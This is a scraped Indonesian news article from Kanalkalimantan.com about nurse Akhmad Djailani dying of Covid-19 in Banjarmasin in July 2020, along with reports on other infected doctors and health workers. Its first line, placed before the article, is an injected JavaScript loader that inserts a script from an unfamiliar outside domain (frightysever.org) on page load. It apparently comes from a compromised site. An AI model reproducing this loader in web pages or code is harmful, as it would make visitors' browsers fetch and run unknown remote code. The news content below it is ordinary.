(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

INNALILLAHI. Satu lagi Tenaga Kesehatan di Banjarmasin Gugur Akibat Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Kabar duka dari dunia medis di Banjarmasin kembali terjadi. Akhmad Djailani (52), seorang perawat yang bertugas di Puskesmas Teluk Tiram, Banjarmasin Barat, gugur setelah sempat berjuang melawan Covid-19, pada Sabtu (11/7/2020) malam. Dengan kejadian ini, total ada enam tenaga kesehatan terdiri dokter dan perawat yang meninggal dunia.

Jubir Tim Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Banjarmasin, Machli Riyadi membenarkan gugurnya seorang tenaga medis yang bertugas di Puskesmas Teluk Tiram tersebut setelah sempat dirawat selama sembilan hari di RSUD Ulin Banjarmasin.

Ia mengatakan, Dzailani merupakan sosok perawat yang bekerja dengan sepenuh hati. Sudah puluhan tahun almarhum menjadi perawat dan mendedikasikan hidupnya bagi dunia kesehatan di Banjarmasin. “Tentunya kami sangat kehilangan dengan sosok beliau. Semoga syahid dan semua kebaikannya diterima Allah SWT,” ungkapnya.

Rencananya, jenazah almarhum akan disholatkan di halaman instalasi jenazah RSUD Ulin, pada Minggu (12/7/2020) pagi ini sebelum dimakamkan.

Sebelumnya, seorang tenaga kesehatan juga meninggal dunia di tengah perjuangan melawan Covid-19, pada Kamis (9/7/2020). Adalah dr. Zulkiflie Saleh, yang gugur dalam tugasnya menjadi pahlawan Covid-19.

Ketua Ikatan Dokter Indonesia (IDI) Kalsel dr. M. Rudiansyah, SpPD pun membenarkan adanya satu nakes yang gugur di tengah upaya memerangi Covid-19. “Ya, sementara begitu,” kata Rudiansyah.

Ditambahkan Rudiansyah, almarhum merupakan seorang dokter umum praktik di Kota Banjarmasin. “Beliau termasuk dokter senior,” tambah Rudiansyah.

Tenaga medis memang rentan terpapar Covid-19 karena mereka bersentuhan langsung dengan pasien. Beberapa waktu lalu diberitakan, sebanyak 20 orang karyawan yang berasal dari RSUD Sultan Suriansyah Banjarmasin dinyatakan reaktif oleh Tim Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Kota Banjarmasin.

Direktur RSUD Sultan Suriansyah dr Sukotjo Hartono mengatakan, puluhan karyawan yang sebagian besar merupakan nakes tersebut, dinyatakan reaktif. Ini merupakan hasil dari skrining oleh GTPP dengan melakukan pemeriksaan melalui rapid test atau tes cepat kepada setiap nakes yang bertugas di rumah sakit milik Pemerintah Kota Banjarmasin itu.

Sukotjo menjelaskan, pemeriksaan itu masih belum menyentuh keseluruhan jumlah karyawan yang terdapat di rumah sakit tersebut. Jika ditotal secara keseluruhan, nakes RSUD Sultan Suriansyah beserta karyawannya kurang lebih berjumlah 400 orang, namun yang menjalani skrining baru 200 orang, atau baru separuhnya.

Sebelumnya, Ketua Ikatan Dokter Indonesia (IDI) Kalsel dr M. Rudiansyah SpPD mengungkapkan, hingga kini diprediksi lebih 35 dokter di Provinsi Kalsel yang sudah positif terkonfirmasi Covid-19. Termasuk sejumlah dokter yang meninggal dunia.

Di antara dokter yang meninggal dunia tersebut, dua diantaranya adalah dokter spesialis dari Kota Banjarmasin. Yaitu dr Hasan Zain SpP seorang dokter spesialis paru-paru dan dr Heru Prasetya SpPD seorang dokter spesialis penyakit dalam. Ia menambahkan, dari 35 dokter yang terpapar Covid-19, beberapa diantaranya telah dinyatakan sembuh. Sebagian lagi masih menjalani isolasi mandiri.

Dokter spesialis penyakit dalam ini menambahkan, sebagian besar dokter-dokter yang terpapar Covid-19 ini saat memberikan pelayanan kesehatan di rumah sakit maupun di Puskesmas. Baik yang masih menjalani isolasi mandiri maupun yang telah sembuh. “Dari fasilitas pelayanan kesehatan kebanyakan. Jadi hampir di Puskesmas di Banjarmasin cukup banyak baik yang terpapar maupun yang survive,” ucap Rudiansyah.

“Ini juga menjadi cacatan kami bahwa Covid-19 tidak hanya menyerang masyarakat. Namun juga tenaga medis yang berisiko. Karena kita berhadapan langsung dengan mereka-mereka di lapangan,” lugas Rudiansyah. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

2 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

3 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

8 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.